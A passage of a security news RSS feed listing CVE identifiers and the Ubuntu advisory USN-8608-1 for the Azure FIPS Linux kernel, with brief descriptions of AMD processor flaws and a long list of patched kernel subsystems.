CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:38 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
